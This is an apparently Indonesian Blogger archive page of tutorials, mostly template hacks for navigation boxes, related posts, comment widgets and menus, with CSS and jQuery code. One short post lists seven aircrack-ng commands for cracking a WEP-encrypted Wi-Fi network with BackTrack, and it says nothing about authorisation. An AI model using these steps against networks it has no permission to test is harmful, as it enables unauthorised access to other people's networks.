Blog Information: with

Tampilkan postingan dengan label with. Tampilkan semua postingan

Kamis, 23 Januari 2014

Using window with keyboard

Selasa, 21 Januari 2014

How to crack a WEP encrypted wifi network with Baktrack 5

Steps:
1)airmon-ng
2)airmon-ng start wlan0
3)airodump-ng mon0
4)airodump-ng -c (channel) -w (file name) --bssid (bssid) mon0
5)aireplay-ng -1 0 -a (bssid) mon0
6)aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0
7)aircrack-ng (filename)*.cap

Rabu, 02 Oktober 2013

Fading Box With Newer Older Posts Links and Titles for Blogger

The navigation links are those that appear at the bottom of the page that says "Older Posts", "Newer Posts" and "Home" and help us to move through the blog posts. This tutorial will show you how to change the word "Older Posts" and "Newer Posts" for post titles and make these to appear in a box "fading" when you scroll down the page.

You can see it in action on this demo blog - when you scroll down, the navigation links will appear showing the post titles for the older/newer entries.

This way to display the navigation links will be seen only in individual entries, while those on the homepage and other parts of the blog will still be displayed as usual.

How to Add Navigation Box with Newer & Older Posts on Blogger

Step 1. From your Blogger Dashboard, go to Template > Edit HTML, click anywhere inside the code area and search - using CTRL + F - for this line:

<b:include name=nextprev/>

Screenshot:

Step 2. REPLACE the code above with this one:

<b:if cond=data:blog.pageType != "item">
<b:include name=nextprev/>
</b:if>
<b:if cond=data:blog.pageType == "item">
<div id=blog-pager-box>
<h4>Other posts published:</h4>
<b:include name=nextprev/>
</div>
</b:if>

Note: you can change the "Other posts published" title with your own

Step 3. Now add just above </head> the following code:

<b:if cond=data:blog.pageType == "item">
<script src=http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js type=text/javascript/>
<script>
// <![CDATA[
$(function() {
$(#blog-pager-box).toggle()
.css({
width: 520px,
height: 150px,
position: fixed,
padding: 1em,
bottom: 0,
right: 0,
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIvE_yeDv-5ha1cjifbQhZYHeuoYyKe3_WEX8qdjqBkYdHADsn57bMv1sPjvSkJXL6V8mJDTf23Ra3CVwVCEhstDzngqM3qDlt-v-YfdU4yEp8eh0RwIlwbzJs9Uv1BD_S1QQYVVbeSGxv/s1600/paper.jpg)
});

$(window).scroll(function() {
if($(this).scrollTop() > 100) {
$(#blog-pager-box).fadeIn();
} else {
$(#blog-pager-box).fadeOut();
}
});
});
$(document).ready(function(){
var newerLink = $("a.blog-pager-newer-link").attr("href");
$("a.blog-pager-newer-link").load(newerLink+" .post-title:first", function() {
var newerLinkTitle = $("a.blog-pager-newer-link:first").text();
$(".blog-pager-newer-link").html("<div>Newer Posts:</div>" + newerLinkTitle);
});
var olderLink = $("a.blog-pager-older-link").attr("href");
$("a.blog-pager-older-link").load(olderLink+" .post-title:first", function() {
var olderLinkTitle = $("a.blog-pager-older-link").text();
$(".blog-pager-older-link").html("<div>Older Posts:</div>" + olderLinkTitle);
});
});
// ]]>
</script>

<style type=text/css>

</style>
</b:if>

Note that this gadget uses jQuery, so try to have only one version.

Customization:

- There are three URLs in blue, the first is the paper background image for the box, the other two are the icons that correspond to the arrows. You can replace these with your own.
- In green you can see where to change the text colors.
- The red number is the distance in pixels that activates the gadget, this means that the box will appear when you scroll down the 100px. You can use a higher value if your posts are usually long and therefore the "height" of the scroll is greater.

Step 4. Now, Save the Template and thats it!

You can also change the "Older Posts" and "Newer Posts" links with posts titles or images.

Show Recent Posts With Thumbnails For Particular Label or Category in Blogger

Sometimes we want to have everything organized so that our readers can find topics of interest more easily, and thats when instead of putting a widget with the latest posts, we can put together the latest entries sorted by category, so that well be able to show the latest posts for each label we want and also display a thumbnail for our category.

recent posts, blogger widgets, blogger gadgets

Screenshot

To add this cool gadget/widget for the latest categories, just follow the next steps:

Steps

Step 1. From your Blogger Dashboard, go to Template/Edit HTML

...then tick the Expand Widget Templates checkbox:

Step 2. Search for this piece of code:

]]></b:skin>

and just above it, paste this one:

/* Recent posts by labels
--------------------------------- */
img.label_thumb{
float:left;
margin-right:10px !important;
height:65px; /* Thumbnail height */
width:65px; /* Thumbnail width */
border: 1px solid #fff;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .4);
-moz-box-shadow: 0 1px 1px rgba(0, 0, 0, .4);
box-shadow: 0 1px 1px rgba(0, 0, 0, .4);
}

.label_with_thumbs {
float: left;
width: 100%;
min-height: 70px;
margin: 0px 10px 2px 0px;
padding: 0;
}
ul.label_with_thumbs li {
padding:8px 0;
min-height:65px;
margin-bottom:0px;
border-bottom: 1px dotted #999999;
}

.label_with_thumbs li{
list-style: none ;
padding-left:0px !important;
}

.label_with_thumbs a { text-transform: uppercase;}
.label_with_thumbs strong {padding-left:0px; }

Step 3. Now search for this tag (CTRL + F)

</head>

...and add the following script above it:

<script type=text/javascript>
//<![CDATA[
function labelthumbs(json){document.write(<ul class="label_with_thumbs">);for(var i=0;i<numposts;i++){var entry=json.feed.entry[i];var posttitle=entry.title.$t;var posturl;if(i==json.feed.entry.length)break;for(var k=0;k<entry.link.length;k++){if(entry.link[k].rel==replies&&entry.link[k].type==text/html){var commenttext=entry.link[k].title;var commenturl=entry.link[k].href;}
if(entry.link[k].rel==alternate){posturl=entry.link[k].href;break;}}var thumburl;try{thumburl=entry.media$thumbnail.url;}catch(error)
{s=entry.content.$t;a=s.indexOf("<img");b=s.indexOf("src="",a);c=s.indexOf(""",b+5);d=s.substr(b+5,c-b-5);if((a!=-1)&&(b!=-1)&&(c!=-1)&&(d!="")){thumburl=d;}else thumburl=https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Kzu_z6V9zssKEZsGZuKDfJjdFgRXxWjHe71hsQfp5Xpy3BYwxCy9WK-Pr5dFZpyQ9giTL4dlGHXpJL5smBUgMSjrLPmNgIP88sTZWvIPYpqJcE8bI028-aaFHuS9CEWaP3tqeZxnRoY/s1600/picture_not_available.png;}
var postdate=entry.published.$t;var cdyear=postdate.substring(0,4);var cdmonth=postdate.substring(5,7);var cdday=postdate.substring(8,10);var monthnames=new Array();monthnames[1]="Jan";monthnames[2]="Feb";monthnames[3]="Mar";monthnames[4]="Apr";monthnames[5]="May";monthnames[6]="June";monthnames[7]="July";monthnames[8]="Aug";monthnames[9]="Sept";monthnames[10]="Oct";monthnames[11]="Nov";monthnames[12]="Dec";document.write(<li class="clearfix">);if(showpostthumbnails==true)
document.write(<a href="+posturl+" target ="_top"><img class="label_thumb" src="+thumburl+"/></a>);document.write(<strong><a href="+posturl+" target ="_top">+posttitle+</a></strong><br>);if("content"in entry){var postcontent=entry.content.$t;}
else
if("summary"in entry){var postcontent=entry.summary.$t;}
else var postcontent="";var re=/<S[^>]*>/g;postcontent=postcontent.replace(re,"");if(showpostsummary==true){if(postcontent.length<numchars){document.write();document.write(postcontent);document.write();}
else{document.write();postcontent=postcontent.substring(0,numchars);var quoteEnd=postcontent.lastIndexOf(" ");postcontent=postcontent.substring(0,quoteEnd);document.write(postcontent+...);document.write();}}
var towrite=;var flag=0;document.write(<br>);if(showpostdate==true){towrite=towrite+monthnames[parseInt(cdmonth,10)]+-+cdday+ - +cdyear;flag=1;}
if(showcommentnum==true)
{if(flag==1){towrite=towrite+ | ;}
if(commenttext==1 Comments)commenttext=1 Comment;if(commenttext==0 Comments)commenttext=No Comments;commenttext=<a href="+commenturl+" target ="_top">+commenttext+</a>;towrite=towrite+commenttext;flag=1;;}
if(displaymore==true)
{if(flag==1)towrite=towrite+ | ;towrite=towrite+<a href="+posturl+" class="url" target ="_top">More »</a>;flag=1;;}
document.write(towrite);document.write(</li>);if(displayseparator==true)
if(i!=(numposts-1))
document.write();}document.write(</ul>);}
//]]>
</script>

Note: to add your own pic for the posts with no thumbnail, replace the image url in blue with your own

So we have added the Css to style the widget and the script to make it work. Now all we have to do is to add the widgets code to the blog sidebar in a Html/Javascript gadget:

Step 4. Go to Layout - click on Add a Gadget

Step 5. Choose the HTML/Javascript widget and paste this code inside the empty box:

<script type=text/javascript>var numposts = 3;var showpostthumbnails = true;var displaymore = false;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = true;var numchars = 100;</script>
<script type="text/javascript" src="/feeds/posts/default/-/Name-of-the-label?published&alt=json-in-script&callback=labelthumbs"></script>

Note: Where it says Name-of-the-label is the name of the label you want to display, and if your label is case sensitive, like in my example, then you should type it that way.

Also within the last code, there are parts that we can customize, just change true with false or vice versa:

var numposts ← Number of posts to display
var showpostthumbnails ← Show/hide thumbnails
var displaymore ← Show or hide the read more link
var displayseparator ← Show/hide separator
var showcommentnum ← Show/hide the number of comments
var showpostdate ← Show/hide the posts dates
var showpostsummary ← Show or not the posts summaries
var numchars ← Number of posts characters (here you have to change the 100 value)

Remember that the gadget displays the latest posts from a particular label, therefore, if you want to display the latest posts from other labels then just repeat step 5 for each additional category you want to add.

Thats it :) Enjoy!

Senin, 30 September 2013

How to Remove Showing Posts With Label in Blogger

For any default Blogger layout, the "Showing posts with label" message shows up above the posts whenever you click on a label link. As its a pretty useless and annoying message, many people like to have it removed. If that is your wish, just follow the tutorial below:

Removing "Showing post with label...show all posts"

Step 1. Go to Dashboard - Template - Edit HTML (if necessary, click on Proceed button)

Step 2. Click somewhere inside the template code, then search - using CTRL+F - this code:

<b:includable id=status-message>

After you found it, click on the sideways arrow next to it, to expand the rest of the code.

Screenshot:

Step 3. Below is this code that you need to remove - along with the first one, as well:

     <b:includable id=status-message>
      <b:if cond=data:navMessage>
      <div class=status-msg-wrap>
        <div class=status-msg-body>
          <data:navMessage/>
        </div>
        <div class=status-msg-border>
          <div class=status-msg-bg>
            <div class=status-msg-hidden><data:navMessage/></div>
          </div>
        </div>
      </div>
      <div style=clear: both;/>
      </b:if>
    </b:includable>

Screenshot

Step 4. Replace it with this one:

<b:includable id=status-message>
<b:if cond=data:navMessage>
<div>
</div>
<div style=clear: both;/>
</b:if>
</b:includable>

Step 5. Save the template. Now view your blog and click on some label....there should be no box anymore.

Tutorial portable with NSIS

A little Tutorial trying to explain how to compile launchers for portable with NSIS.

Post your questions here.

Tutorial mirror

Thanks to KursadOlmez and Anthony for hosting.

Portable Total Uninstall 4.10 Multilingual 1.4 MB

Minggu, 29 September 2013

How To Add Related Posts Widget To Blogger with Thumbnails

Now here is a wonderful hack for displaying related posts beneath each of your blog posts, along with thumbnails. The related articles are chosen from other posts in that same category/label/tag. With this hack many of your readers will remain on your site for longer periods of time when they see related posts of interest.

related post, related posts blogger, blogger widgets

Steps adding the Related Posts Widget to Blogger/Blogspot

Step 1. Go To Blogger Dashboard >> Template >>Edit HTML;

Step 2. Check the "Expand widgets template" box;

Step 3. Search (CTRL + F) for this piece of code:

</head>

Step 4. Copy and paste the below code just before/above </head>

<b:if cond=data:blog.pageType == "item">
<style type=text/css>
#related-posts {
float:center;
text-transform:none;
height:100%;
min-height:100%;
padding-top:5px;
padding-left:5px;
}

#related-posts h2{
font-size: 18px;
letter-spacing: 2px;
font-weight: bold;
text-transform: none;
color: #5D5D5D;
font-family: Arial Narrow;
margin-bottom: 0.75em;
margin-top: 0em;
padding-top: 0em;
}
#related-posts a{
border-right: 1px dotted #DDDDDD;
color:#5D5D5D;
}
#related-posts a:hover{
color:black;
background-color:#EDEDEF;
}
</style>
<script type=text/javascript>
var defaultnoimage="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG0vxfF_MHiz0EAzpTG1YQixKwB59uz7_mP_MWYoDhk20SZOa0i2aA11Gu7OjaK8Rw-j3J4VRyQCDFFgpahsQgs259cpN-pZ5cScdyYJZZYBRVYCtZOMQuLrltQMQELHd6T9kEowCBiYFb/s1600/no_image.jpg";
var maxresults=5;
var splittercolor="#DDDDDD";
var relatedpoststitle="Related Posts";
</script>
<script src=http://helplogger.googlecode.com/svn/trunk/related-posts-with-big-thumbnails.js type=text/javascript/>
</b:if>

Note:
- to change the default picture, replace the URL in blue with your own
- for displaying more than 5 posts, replace 5 value from "var maxresults=5;"
- remove the code in violet if you want the related posts to be displayed in homepage too

Step 5. Now find the following code:

<div class=post-footer>

Step 6. And just above it, copy and paste the below code:

<b:if cond=data:blog.pageType == "item">
<div id=related-posts>
<b:loop values=data:post.labels var=label>
<b:if cond=data:label.isLast != "true">
</b:if>
<script expr:src="/feeds/posts/default/-/" + data:label.name + "?alt=json-in-script&callback=related_results_labels_thumbs&max-results=6" type=text/javascript/></b:loop>
<script type=text/javascript>
removeRelatedDuplicates_thumbs();
printRelatedLabels_thumbs("<data:post.url/>");
</script>
</div><div style=clear:both/>
</b:if>
<b:if cond=data:blog.url == data:blog.homepageUrl><b:if cond=data:post.isFirstPost>
<a href=http://helplogger.blogspot.com><img alt=Blogger Tricks src=https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMb73o1xO9ntaU5T8CgV3v8rrA8McU_jR0N-Xy8inCvEy9LoLCuZeYeIe9XNBQuFzEDzHUwm2sQ2fwzO54CZQoBngYe9EGWG6BMOEoaaDE_2lUVgXb4fn9x6FNE9q5u06k2Mj6Kw890ai/s1600/best+blogger+tips.png/></a>
</b:if></b:if>

Note:
- change the 6 value from max-results=6 with the number of posts you want to be displayed.
- If you want the related posts to be displayed on homepage too, remove the code in violet.

Step 7. Save the Template

Enjoy :)

Credit goes to: bloggerpluggins.org . Modified by me

Jumat, 20 September 2013

Display post author date labels and comments with icons below post titles

When there are no comments made to your posts, theres a link that says Be the First to comment! and when there is just one comment it says 1 comment so far. If you want to make your blog more stylish by replacing these texts with some cute small icons along with the default Author Name, Post Date, Labels and Comments... then just follow the next steps:

Steps:

Step 1. From your Blogger Dashboard, click on the Template option, then press the Edit HTML button:

Step 2. Select the "Expand widgets templates" box

Step 3. Search for the below code (press the CTRL + F keys and paste the code in the search box):

<div class=post-header-line-1>

If you cant find the code above, look for this one:

<div class=post-header>

Step 4. Paste the following code below/after the code above:

<font style=background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibni4K6hf9jalTrpsctOB95N96L4vD84kShFA4iijEpNEz5wdf6iTd8u8sc8Zif3y4jXyBvST-UGrhcm3t0iLmoAEX1p8iQ4AYoyDRn8j8mnRozCjWtnQNQt3Ip1f1206xPhAvuhLEr-VT/s1600/author.gif) no-repeat scroll top left;padding-left:25px;font-size:11px;><data:post.author/></font> | <font style=background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEOX8qPRxdB-bJJa7Nj15gWkBLFqjS2bltsTIfxj_sG91dQIghuAN0CldP8qEQlIyIC8O4366-GwhuecYrCCcXkOdZsD_U6IbUj5JzwVgbON3ngcelTGAKkArEdVetRVZnLL_OWMkJVJ1l/s1600/clock_icon.gif) no-repeat scroll top left;padding-left:25px;font-size:11px;><data:post.timestamp/></font> | <font style=background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjsWSje38aM7O8whHWD5cFgN8uV2bIORF7ySQw4VndJ4NFvZPOf7whpw4iF9mwZDlFaVoEF6i_PKk8xzUc04fsexTAOGvjuscqOAENlcEGcLF8cYCx5TndJ7OJnnhd1QkOiHnBH-ixHsGb/s1600/tag+icon.gif) no-repeat scroll top left;padding-left:25px;font-size:11px;><b:if cond=data:post.labels>
<b:loop values=data:post.labels var=label>
<a expr:href=data:label.url + "?max-results=8" rel=tag><data:label.name/></a>
<b:if cond=data:label.isLast != "true">|</b:if>
</b:loop>
</b:if></font>
<span class=post-comment-link style=Float:right;>
        <b:if cond=data:blog.pageType != "item">
          <b:if cond=data:post.allowComments>
            <a class=comment-link expr:href=data:post.addCommentUrl expr:onclick=data:post.addCommentOnclick style=background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPTeKPl10dph3Q0JzhsbhXXa9AwFfC4kqUWXNfq_8qsncdTmOOrqQLG89oIOPBxGrMcHoGEDpeV_GWNGZ4P14mQCVMw5GzneIro0tMQkDroNlMjxv6-xY65UvxPr0duvXur5VICQOuXcu4/s1600/comment-icon.png) no-repeat;Padding-left:20px;><b:if cond=data:post.numComments == 0>Be the first to comment!<b:else/> <b:if cond=data:post.numComments == 1><data:post.numComments/> Comment so far<b:else/><data:post.numComments/> Comments so far</b:if> </b:if></a>
          </b:if>
        </b:if>
      </span>

How to customize:

If you want to change the icons, just replace the URL addresses above colored with:

Red - Author
Green - Date
Blue - Labels
Violet - Comment bubble

... with the URL address of your image.

Step 5. Save template... and youre done!

Kamis, 19 September 2013

Add Recent Comments Widget with Avatars To Blogger

In the past tutorial, Ive shared a simple Recent Comments widget, now you have the option to add a stylish Recent comments widget with round avatars, which comes along with comment excerpts. You also have the option to change default Anonymous Avatar Image.

How to add recent comments widget with avatars

Step 1. Go to Blogger Dashboard, then go to Layout and click on Add a Gadget link.

avatars, recent comments blogger, blogger widgets

Step 2. In the popup window scroll down + choose HTML/Javascript

Step 3. Paste in the following code in the empty box:

<style type="text/css">
ul.w2b_recent_comments {
list-style: none;
margin: 0;
padding: 0;
}

.w2b_recent_comments li {
background: none !important;
margin: 0 0 6px !important;
padding: 0 0 6px 0 !important;
display: block;
clear: both;
overflow: hidden;
list-style: none;
}

.w2b_recent_comments li .avatarImage {
padding: 3px;
background: #fefefe;
-webkit-box-shadow: 0 1px 1px #ccc;
-moz-box-shadow: 0 1px 1px #ccc;
box-shadow: 0 1px 1px #ccc;
float: left;
margin: 0 6px 0 0;
position: relative;
overflow: hidden;
}

.avatarRound {
-webkit-border-radius: 100px;
-moz-border-radius: 100px;
border-radius: 100px;
}

.w2b_recent_comments li img {
padding: 0px;
position: relative;
overflow: hidden;
display: block;
}

.w2b_recent_comments li span {
margin-top: 4px;
color: #666;
display: block;
font-size: 12px;
font-style: italic;
line-height: 1.4;
}
</style>
<script type="text/javascript">
//<![CDATA[
// Recent Comments Settings
var
numComments = 5,
showAvatar = true,
avatarSize = 60,
roundAvatar = true,
characters = 40,
showMorelink = false,
moreLinktext = "More »",
defaultAvatar = "http://www.gravatar.com/avatar/?d=mm",
hideCredits = true;
//]]>
</script>
<script type="text/javascript" src="http://helplogger.googlecode.com/svn/trunk/w2b recent comments with avatars.js"></script>
<script type="text/javascript" src="http://your-blog.blogspot.com/feeds/comments/default?alt=json&callback=w2b_recent_comments&max-results=5"></script>

Note

Replace your-blog with the name of your blog.
Replace the "5" values in red, with the number of comments you want to appear... from:

numComments = 5

and

&max-results=5

To change the anonymous avatar, replace the following address with your own:

http://www.gravatar.com/avatar/?d=mm

To change the size of the avatar, replace 60 value in green with your own

Step 4. After youve made the changes, click Save... and youre done!

The credit goes to Hrish @ way2blogging.org

Selasa, 17 September 2013

Replace Older Newer And Home Blogger links with an image or text

Newer Post, Home and Older Post are links that appear on the bottom of the posts. When a visitor click on one of these links, they will take him to the page with the list of your previous posts.
The number of the posts on these pages will be the same as the number of the posts on your main page.

What we can do:

A. Change the text of Newer, Older, Home links
B. Place a picture beside them (a small icon, arrow, or whatever...)
C. Add an image instead of the links

So lets start customizing them...

1. Log in to your Blogger Dashboard, go to Template > Edit HTML

2. Click anywhere inside the code area and find - using CTRL + F keys - the following code:

    <b:if cond=data:newerPageUrl>
      <span id=blog-pager-newer-link>
      <a class=blog-pager-newer-link expr:href=data:newerPageUrl expr:id=data:widget.instanceId + "_blog-pager-newer-link" expr:title=data:newerPageTitle><data:newerPageTitle/></a>
      </span>
    </b:if>

    <b:if cond=data:olderPageUrl>
      <span id=blog-pager-older-link>
      <a class=blog-pager-older-link expr:href=data:olderPageUrl expr:id=data:widget.instanceId + "_blog-pager-older-link" expr:title=data:olderPageTitle><data:olderPageTitle/></a>
      </span>
    </b:if>

    <a class=home-link expr:href=data:blog.homepageUrl><data:homeMsg/></a>

Or find in this code the following fragments which corresponds to each page links

<data:newerPageTitle/> represents Newer Posts link
<data:olderPageTitle/> represents Older Posts link
<data:homeMsg/> represents Home link

Now change these fragments of codes as it follows:

A. Change the text of Newer Posts, Older Posts and Home Links

You need to REPLACE following parts in original code with ANY TEXT you like:

replace <data:newerPageTitle/> with, for example NEXT POST
replace <data:olderPageTitle/> with, for example PREVIOUS POST
replace <data:homeMsg/> (only the first one) with, for example HOMEPAGE

B. Place a picture beside Newer Posts, Older Posts and Home links

Add the below code just at the beginning of each of the colored fragments of codes from step 2.
<img src="URL Address"/>

So it should look like this:

<img src="URL Address"/><data:newerPageTitle/>

Note: Replace URL Address text with the url address of the image you want to appear

C. Replace Older Posts, Newer Posts and Home links with an image/picture

You can place any kind of picture you want All you have to do is use this code for the pic:

<img src="URL ADDRESS"/>

...just replace URL ADDRESS, with the URL of your hosted picture
...and in code, REPLACE the original link code for text with picture code

replace <data:newerPageTitle/> with the pic for newer (next) posts
replace <data:olderPageTitle/> with the pic for older (previous) posts
replace <data:homeMsg/> (only the first one) with the pic for homepage

Screenshot

3. Thats it! Preview and Save the Template.

Minggu, 15 September 2013

Auto Read More with thumbnail for Blogger Blogspot Posts

This hack will summarize content and show only summary in Home page, Archives Page and Label Page using Automatic Read More simple script in your template. Using automatic read more on your blog will make your blog load faster by showing few post instead of the full post on the homepage.
Automatic read more for blogger posts can be done by inputting some code into your blog templates.

How to install Automatic Read More Hack for Blogger

There are two options you can choose from:

1. Auto readmore for all the posts:

Step 1. Find (CRTL + F) this code:

<data:post.body/>

Step 2. And replace with this:

<b:if cond=data:blog.pageType != "item">
<b:if cond=data:blog.pageType != "static_page">
<div>
   <b:if cond=data:post.thumbnailUrl>
    <img class=post-thumbnail expr:alt=data:post.title expr:src=data:post.thumbnailUrl width=72px height=72px/>
   </b:if>
   <data:post.snippet/>
</div>
<div class=jump-link>
   <a expr:href=data:post.url expr:title=data:post.title><data:post.jumpText/></a>
</div>
<b:else/>
<data:post.body/>
</b:if>
<b:else/>
<data:post.body/>
</b:if>

2. Read more only for older posts (your latest post will appear normal):

Find (CTRL + F) and replace <data:post.body/> with:

<b:if cond=data:blog.pageType != "item">
<b:if cond=data:blog.pageType != "static_page">
<b:if cond=data:blog.url == data:blog.homepageUrl>
   <b:if cond=data:post.isFirstPost == "true">
    <data:post.body/>
     <b:if cond=data:post.hasJumpLink>
      <div class=jump-link>
       <a expr:href=data:post.url + "#more" expr:title=data:post.title><data:post.jumpText/></a>
      </div>
     </b:if>
   <b:else/>
    <div>
     <b:if cond=data:post.thumbnailUrl>
      <img class=post-thumbnail expr:alt=data:post.title expr:src=data:post.thumbnailUrl width=72px height=72px/>
     </b:if>
     <data:post.snippet/>
    </div>
    <div class=jump-link>
     <a expr:href=data:post.url expr:title=data:post.title><data:post.jumpText/></a>
    </div>
   </b:if>
<b:else/>
   <div>
    <b:if cond=data:post.thumbnailUrl>
     <img class=post-thumbnail expr:alt=data:post.title expr:src=data:post.thumbnailUrl width=72px height=72px/>
    </b:if>
    <data:post.snippet/>
   </div>
   <div class=jump-link>
    <a expr:href=data:post.url expr:title=data:post.title><data:post.jumpText/></a>
   </div>
</b:if>
<b:else/>
<data:post.body/>
</b:if>
<b:else/>
<data:post.body/>
</b:if>

Settings:

A. If you want the thumbnail to appear on the left:

Step 1. Find (CTRL + F) the following piece of code:

]]></b:skin>

Step 2. Just above it, paste this code:

.post-thumbnail{float:left;margin-right:20px}

B. If you want the thumbnail to appear on the right,

Paste above ]]></b:skin> this code:

.post-thumbnail{float:right;margin-left:20px}

Click Preview and if it works, click Save Template.

Thats it, enjoy!

Selasa, 10 September 2013

How to Replace Older Posts and Newer Posts Links with Blogger Post Titles

If you have ever visited a WordPress blog, you might have noticed that the blog pager on these blogs displays the actual post titles, not just links to the older and newer posts that you find at the bottom of your Blogger blog. This links are parts of the so-called blog pager which helps readers navigate between pages and posts.

If you want to increase your page impressions, one of the ways is to replace the older/newer posts links with the Blogger post titles.

How To Add Post Titles Instead of Older Post/Newer Post Link

Step 1. Log in to Blogger, go to Layout and click on "Add A Gadget" link

Step 2. From the pop-up window, choose "HTML/JavaScript"

Step 3. Paste the following code into the empty field of the HTML/JavaScript gadget:

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
var olderLink = $("a.blog-pager-older-link").attr("href");
$("a.blog-pager-older-link").load(olderLink+" h3:first", function() {
var olderLinkTitle = $("a.blog-pager-older-link:first").text();
$("a.blog-pager-older-link").text(olderLinkTitle);
});
var newerLink = $("a.blog-pager-newer-link").attr("href");
$("a.blog-pager-newer-link").load(newerLink+" h3:first", function() {
var newerLinkTitle = $("a.blog-pager-newer-link:first").text();
$("a.blog-pager-newer-link").text(newerLinkTitle);
});
</script>

Note: The line in red is for acquiring jQuery framework. If you have acquired jQuery in your template, then you can just delete this part.

Step 4. Now Save the Widget and drag it under the Blog Posts section.

Step 5. Click on Save arrangement.

Now view your blog and see the older/newer posts link, replaced with your post titles.

For any questions, leave a comment below.

Minggu, 08 September 2013

Horizontal menu with sub tabs in two columns for Blogger

This is a very nice horizontal menu in which its sub-tabs are displayed in two columns and is also made with CSS, without any scripts.

blogger navigation menu, css menu, drop-down menu

The "advantage" so to speak, is that the sub-tabs when arranged in two columns are not very long, so it will be neat and less space along. You can see an example here:

Adding A Horizontal Menu With Sub Tabs in Two Columns To Blogger

STEP 1: In Blogger, go to your "Layout" and on the "Page Elements" section.

Click on the "Add a Gadget" link just under your header image
From the Gadgets List, select "HTML/JavaScript" option.

STEP 2: Simply copy and paste this ENTIRE code into your widget. Note: Leave the "Title" section of this widget blank.

<div id=menucol>
<div id=topwrapper>
<ul id=top>
<li><a href=http://YOUR URL HERE.com>Tab 1 Title Here</a></li>
<li><a href=http://YOUR URL HERE.com>Tab 2 Title Here</a></li>
<li><a class=submenucol href=#>Tab 3 Title Here</a>
<ul>
<li><a href=http://YOUR URL HERE.com>Sub Tab 3.1</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 3.2</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 3.3</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 3.4</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 3.5</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 3.6</a></li>
</ul>
</li>
<li><a class=submenucol href=#>Tab 4 Title Here</a>
<ul>
<li><a href=http://YOUR URL HERE.com>Sub Tab 4.1</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 4.2</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 4.3</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 4.4</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 4.5</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 4.6</a></li>
</ul>
</li>
<li><a class=submenucol href=#>Tab 5 Title Here</a>
<ul>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.1</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.2</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.3</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.4</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.5</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.6</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.7</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 5.8</a></li>
</ul>
</li>
<li><a href=http://YOUR URL HERE.com>Tab 6 Title Here</a></li>

</ul>
<br class=clearit/>
</div>
</div>

Customize your main tabs by changing the Tab Titles to whatever you want. Include a URL for each one if you want it to be clickable. If not, you can just put a # sign where it says http://YOUR URL HERE.com

You can add or delete as many of the main tabs as you need, just make sure to copy the entire code for the main tab for each additional tab you want:

<li><a href=http://YOUR URL HERE.com>Tab 7 Title Here</a>
<ul>
<li><a href=http://YOUR URL HERE.com>Sub Tab 7.1</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 7.2</a></li>
<li><a href=http://YOUR URL HERE.com>Sub Tab 7.3</a></li>
</ul>
</li>

STEP 3: Now lets go a step further and add the CSS style in our Template

Go to Template > Edit HTML

Click on the sideways arrow next to <b:skin>...</b:skin>

Then click anywhere inside the code area and search - using CTRL + F keys - for the ]]></b:skin> tag and just above ]]></b:skin> add this code:

/* Horizontal menu with 2 columns
----------------------------------------------- */
#menucol {
width:940px;
height:37px;
background-image: -moz-linear-gradient(top, #666666, #000000);
background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #666666), color-stop(1.0, #000000));
filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#666666,endColorStr=#000000);
border-bottom:1px solid #666666;
border-top:1px solid #666666;
margin:0 auto;padding:0 auto;
overflow:hidden;
}
#topwrapper {
width:940px;
height:40px;
margin:0 auto;
padding:0 auto;
}
.clearit {
clear: both;
height: 0;
line-height: 0.0;
font-size: 0;
}
#top {
width:100%;
}
#top, #top ul {
padding: 0;
margin: 0;
list-style: none;
}
#top a {
border-right:1px solid #333333;
text-align:left;
display: block;
text-decoration: none;
padding:10px 12px 11px;
font:bold 14px Arial;
text-transform:none;
color:#eee;
}
#top a:hover {
background:#000000;
color:#F6F6F6;
}
#top a.submenucol {
background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQS4moc-UWvsA7Faz64FNpgjiFCxgxpGNfRlQ8pVoz3B86NX_MZxIjgMlCBxi8FazlHYqoYfyp__PU-TfduiPFzqza3gBHQX_Mk6XR4xgkwc_WRvjxzGti5PKVYuJydIFSCM3GwEZZOHI/s1600/arrow_white.gif);
background-repeat: no-repeat;
padding: 10px 24px 11px 12px;
background-position: right center;
}
#top li {
float: left;
position: relative;
}
#top li {
position: static !important;
width: auto;
}
#top li ul, #top ul li {
width:300px;
}
#top ul li a {
text-align:left;
padding: 6px 15px;
